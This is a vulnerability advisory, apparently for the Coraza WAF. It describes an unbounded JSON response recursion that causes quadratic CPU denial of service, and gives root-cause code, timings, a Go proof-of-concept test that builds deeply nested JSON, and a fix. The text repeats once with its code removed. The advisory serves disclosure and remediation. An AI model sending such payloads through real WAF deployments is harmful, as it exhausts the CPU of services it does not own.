Summary
The JSON response body processor parses response bodies with no recursion
limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and
that constant is -1. The guard in readItems only fires on == 0, so
counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively
dead on the response path. The request path is fine: ProcessRequest passes the
configured limit (default 1024). There is no equivalent directive or default for
responses.
Parsing a deeply nested JSON response is CPU-bound and its cost grows
quadratically with nesting depth. A 512 KiB response (the default
ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to
process, keeping one core busy the whole time.
Root cause
internal/bodyprocessors/json.go
const ignoreJSONRecursionLimit = -1 // line 51
func (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {
...
data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1
}
func (js *jsonBodyProcessor) ProcessRequest(...) error {
...
data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024
}The guard and the decrement:
func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {
if maxRecursion == 0 { // line 106
return errors.New("max recursion reached while reading json object")
}
...
iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126Note that ProcessResponse discards BodyProcessorOptions (the parameter is
_), so even a caller that wanted to set a limit on responses has no way to.
Why the cost is quadratic
Every nesting level re-parses the remaining nested document through
gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured
on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b
(v3.7.0-55):
depth bytes ProcessResponse time
5000 30004 30 ms
10000 60004 119 ms
20000 120004 456 ms
40000 240004 2.18 s
87381 524290 12.09 s
Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the
full range), which matches quadratic. Roughly 87,000 levels is the most that
fits inside the default 512 KiB ResponseBodyLimit.
PoC
Save as internal/bodyprocessors/poc_json_test.go, then:
go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...
package bodyprocessors_test
import (
"strings"
"testing"
"time"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
"github.com/corazawaf/coraza/v3/internal/corazawaf"
)
func nestedJSON(depth int) string {
var sb strings.Builder
sb.Grow(depth*6 + 4)
for i := 0; i < depth; i++ {
sb.WriteString(`{"a":`)
}
sb.WriteString("null")
for i := 0; i < depth; i++ {
sb.WriteByte('}')
}
return sb.String()
}
func TestPoCJSONResponse(t *testing.T) {
proc, _ := bodyprocessors.GetBodyProcessor("json")
// Request path is bounded, response path is not.
body := nestedJSON(5000)
v := corazawaf.NewTransactionVariables()
errReq := proc.ProcessRequest(strings.NewReader(body), v,
plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})
errRes := proc.ProcessResponse(strings.NewReader(body), v,
plugintypes.BodyProcessorOptions{})
t.Logf("depth=5000 ProcessRequest err=%v", errReq)
t.Logf("depth=5000 ProcessResponse err=%v", errRes)
// Quadratic scaling on the response path.
for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {
b := nestedJSON(depth)
vv := corazawaf.NewTransactionVariables()
start := time.Now()
proc.ProcessResponse(strings.NewReader(b), vv,
plugintypes.BodyProcessorOptions{})
t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start))
}
}Output on the reference machine:
depth=5000 ProcessRequest err=max recursion reached while reading json object
depth=5000 ProcessResponse err=<nil>
depth=5000 bytes=30004 time=30.3ms
depth=10000 bytes=60004 time=119.3ms
depth=20000 bytes=120004 time=456.1ms
depth=40000 bytes=240004 time=2.185s
depth=87381 bytes=524290 time=12.085s
Impact
This needs ResponseBodyAccess turned on and a backend that returns JSON
(application/json). Reflection endpoints, download APIs that serve
user-supplied content, and JSON error responses that echo back user input are
all plausible ways to route a nested body back through the WAF.
The work happens in a single goroutine and is CPU-bound: the body is already in
memory, so there is no I/O during the parse. Each such request holds one core
for its entire run, about 12 s per 512 KiB body at the default limit. N
concurrent requests take N cores. The request path has enforced a recursion
limit since v3.3.3; responses never have.
Suggested fix
Bound ProcessResponse the same way the request path is bounded: add a
ResponseBodyRecursionLimit directive, or just pass RequestBodyRecursionLimit
instead of -1.
Summary
The JSON response body processor parses response bodies with no recursion
limit.
ProcessResponsecallsreadJSON(ss, ignoreJSONRecursionLimit), andthat constant is
-1. The guard inreadItemsonly fires on== 0, socounting down from
-1(-2, -3, ...) never reaches it. The guard is effectivelydead on the response path. The request path is fine:
ProcessRequestpasses theconfigured limit (default 1024). There is no equivalent directive or default for
responses.
Parsing a deeply nested JSON response is CPU-bound and its cost grows
quadratically with nesting depth. A 512 KiB response (the default
ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s toprocess, keeping one core busy the whole time.
Root cause
internal/bodyprocessors/json.goThe guard and the decrement:
Note that
ProcessResponsediscardsBodyProcessorOptions(the parameter is_), so even a caller that wanted to set a limit on responses has no way to.Why the cost is quadratic
Every nesting level re-parses the remaining nested document through
gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measuredon an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b
(v3.7.0-55):
Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the
full range), which matches quadratic. Roughly 87,000 levels is the most that
fits inside the default 512 KiB
ResponseBodyLimit.PoC
Save as
internal/bodyprocessors/poc_json_test.go, then:Output on the reference machine:
Impact
This needs
ResponseBodyAccessturned on and a backend that returns JSON(
application/json). Reflection endpoints, download APIs that serveuser-supplied content, and JSON error responses that echo back user input are
all plausible ways to route a nested body back through the WAF.
The work happens in a single goroutine and is CPU-bound: the body is already in
memory, so there is no I/O during the parse. Each such request holds one core
for its entire run, about 12 s per 512 KiB body at the default limit. N
concurrent requests take N cores. The request path has enforced a recursion
limit since v3.3.3; responses never have.
Suggested fix
Bound
ProcessResponsethe same way the request path is bounded: add aResponseBodyRecursionLimitdirective, or just passRequestBodyRecursionLimitinstead of
-1.